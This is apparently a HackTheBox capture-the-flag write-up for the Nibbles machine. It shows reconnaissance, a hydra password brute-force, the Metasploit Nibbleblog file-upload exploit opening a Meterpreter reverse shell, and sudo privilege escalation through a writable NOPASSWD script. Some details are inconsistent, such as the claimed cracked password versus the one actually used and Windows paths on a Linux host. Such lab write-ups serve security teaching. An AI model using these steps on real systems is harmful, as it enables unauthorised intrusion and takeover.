WriteUp: HackTheBox Nibbles

My fourth box to play around with in HackTheBox is Nibbles. It is a Linux machine rated easy. Scanning the box shows two open ports, SSH and HTTP. Following the HTTP route, we are able to gain access to the server. As the user has permissions to run a file without requiring a password, we are able to take advantage of that and escalate privileges to root.

Table of Contents

  1. Reconnaissance
  2. Enumeration
  3. Exploitation with Metasploit
  4. Privilege Escalation
  5. Defender’s Note


As always, we starts by running an map scan against the box to check for open ports and running services.

$ nmap -A -T4 -p-

The results show that SSH and HTTP are running on the victim machine. Since HTTP is know to be vulnerable, we opt to follow that route first. Should it not work, then we would then come back to SSH.

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


The best thing to do is first verify that http is running on the victim machine by navigating to the host using its IP address. We get a Hello World page.

Viewing the source page for this website, we see a comment that points to the nibbleblog directory.

Let’s navigate to that directory. We see a blog but it looks rather empty. We can click on the links there to see if there is any login page or something interesting. So far, we find nothing. We do however see at the bottom that this is a Nibbleblog.

Wappalyzer shows us the version of Apache that is running on the server which would be good to go and start our search for exploits.

Exploitation with Metasploit

Using searchsploit, let’s see if there are any exploits known for nibble. We get two exploits, one of which is for metasploit.

$ searchsploit nibble
--------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                     |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 3 - Multiple SQL Injections                                                                                                             | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)                                                                                              | php/remote/38489.rb
--------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

We start metasploit and verify that the exploit does exist.

$ msfconsole

We found that the exploit is indeed there that allows for file upload.

msf6 > search nibble

Matching Modules

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability

Let’s now try and use this exploit. First, we need to verify details about the exploit. We see that it works on a specific version of Nibbleblog – Nibbleblog 4.0.3.

msf6 > use exploit/multi/http/nibbleblog_file_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > info

       Name: Nibbleblog File Upload Vulnerability
     Module: exploit/multi/http/nibbleblog_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-09-01

Provided by:
  Roberto Soares Espreto <robertoespreto@gmail.com>

Available targets:
  Id  Name
  --  ----
  0   Nibbleblog 4.0.3

Check supported:

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                    yes       The password to authenticate with
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the web application
  USERNAME                    yes       The username to authenticate with
  VHOST                       no        HTTP server virtual host

Payload information:

  Nibbleblog contains a flaw that allows an authenticated remote 
  attacker to execute arbitrary PHP code. This module was tested on 
  version 4.0.3.


We also see from the information that the exploit works only for authenticated users. So far, we have no login page. Let’s use dirbuster to try and look for a login page.

$ dirbuster

We use the dirbuster wordlist that is available on kali. We also point the starting directory to /nibbleblog.

When we run the scan, we see that there is an admin.php page that returns a HTTP 200 OK.

We can now navigate to this login page. The problem now is that we have no credentials.

We can try and brute force our way in. From a little google, we see that the potential username is admin so we can try looking for a matching password for that.

$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV -f -t 2 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:login_error"Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-27 00:12:02
[DATA] max 2 tasks per 1 server, overall 2 tasks, 14344399 login tries (l:1/p:14344399), ~7172200 tries per task
[DATA] attacking http-post-form://^USER^&password=^PASS^:login_error
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target - login "admin" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[80][http-post-form] host:   login: admin   password: 12345
[STATUS] attack finished for (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-27 00:12:06

Let’s login to the machine using the credentials. The login does not work. The valid credentials are (admin:nibbles).

We are able to successfully login to the machine.

Now that we are in, we can do a little enumeration. When we click on settings, we see that there is version information that is displayed to use. This version matches exactly wit the requirement for the exploit.

All we have to do now is use the exploit. Let’s set the required parameters and doublecheck the options.

msf6 exploit(multi/http/nibbleblog_file_upload) > set PASSWORD nibbles
PASSWORD => nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > set USERNAME admin
USERNAME => admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set RHOSTS
msf6 exploit(multi/http/nibbleblog_file_upload) > set TARGETURI /nibbleblog
TARGETURI => /nibbleblog
msf6 exploit(multi/http/nibbleblog_file_upload) > set LHOST
msf6 exploit(multi/http/nibbleblog_file_upload) > options

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   nibbles          yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /nibbleblog      yes       The base path to the web application
   USERNAME   admin            yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3

Once everything is set, we can now run the exploit. A session is created that sends image.php to the server.

msf6 exploit(multi/http/nibbleblog_file_upload) > run

[*] Started reverse TCP handler on 
[*] Sending stage (39282 bytes) to
[*] Meterpreter session 1 opened ( -> at 2021-06-26 23:04:39 +0100
[+] Deleted image.php

meterpreter > 

When we verify our user id, we see that we are not root.

meterpreter > sysinfo
Computer    : Nibbles
OS          : Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: nibbler (1001)

Let’s drop to the shell and try find the user flag.

meterpreter > shell
Process 2824 created.
Channel 0 created.

User Flag

The user flag is normally located on a desktop of a normal user (C:\Documents and Settings\User\Desktop). In this case, we need to traverse to the desktop of user “babis”. Once in the directory, we see the “user.txt” file which we can read the contents of using the “cat” command.

cd /home
cd nibbler

cat user.txt    

Privilege Escalation

We need to now try and escalate privileges so as to get the root flag. We can verify permissions of this user or rather, what the user can run.

sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

We see that the user can execute /home/nibbler/personal/stuff/monitor.sh without a password. However, we do not see that directory or file in the user path.

ls -la
total 20
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .
drwxr-xr-x 3 root    root    4096 Dec 10  2017 ..
-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Jun 26 08:48 user.txt

Let’s try and create that monitor.sh file in the exact path that we saw.

mkdir personal
cd personal
mkdir stuff
cd stuff

touch monitor.sh

We can then add the command we wish to execute here. In this case, we would like to get a bash. We also need to make that file executable.

echo 'bash -i' > monitor.sh
cat monitor.sh
bash -i
chmod +x monitor.sh

Now, let’s try and execute that file. We need to specify the exact path. Once excited, we can verify that we are root.

sudo monitor.sh
sudo: no tty present and no askpass program specified
sudo /home/nibbler/personal/stuff/monitor.sh
bash: cannot set terminal process group (1356): Inappropriate ioctl for device
bash: no job control in this shell
root@Nibbles:/home/nibbler/personal/stuff# whoami

Root flag

Our final task is to get the root flag. The file can be found under /root on Linux machines. Once in the directory, we see the “root.txt” file which we can read the contents of using the “type” command.

root@Nibbles:/home/nibbler/personal/stuff# cd /root
cd /root
root@Nibbles:~# ls
root@Nibbles:~# cat root.txt
cat root.txt

Defender’s Note

  1. We gained access via the insecure HTTP protocol. Opted for HTTPs instead.
  2. To mitigate brute force attacks or make it harder and more expensive for attackers, use of strong password is recommended.
  3. We used a vulnerability in nibbleblog that allows for file uploads. Patch systems in a timely manner.
  4. We were able to escalate our privileges easily as the user is allowed to execute a file without requiring a password. Had there been a password required, it would have been a little harder or more effort would be necessary for the attacker to gain access.

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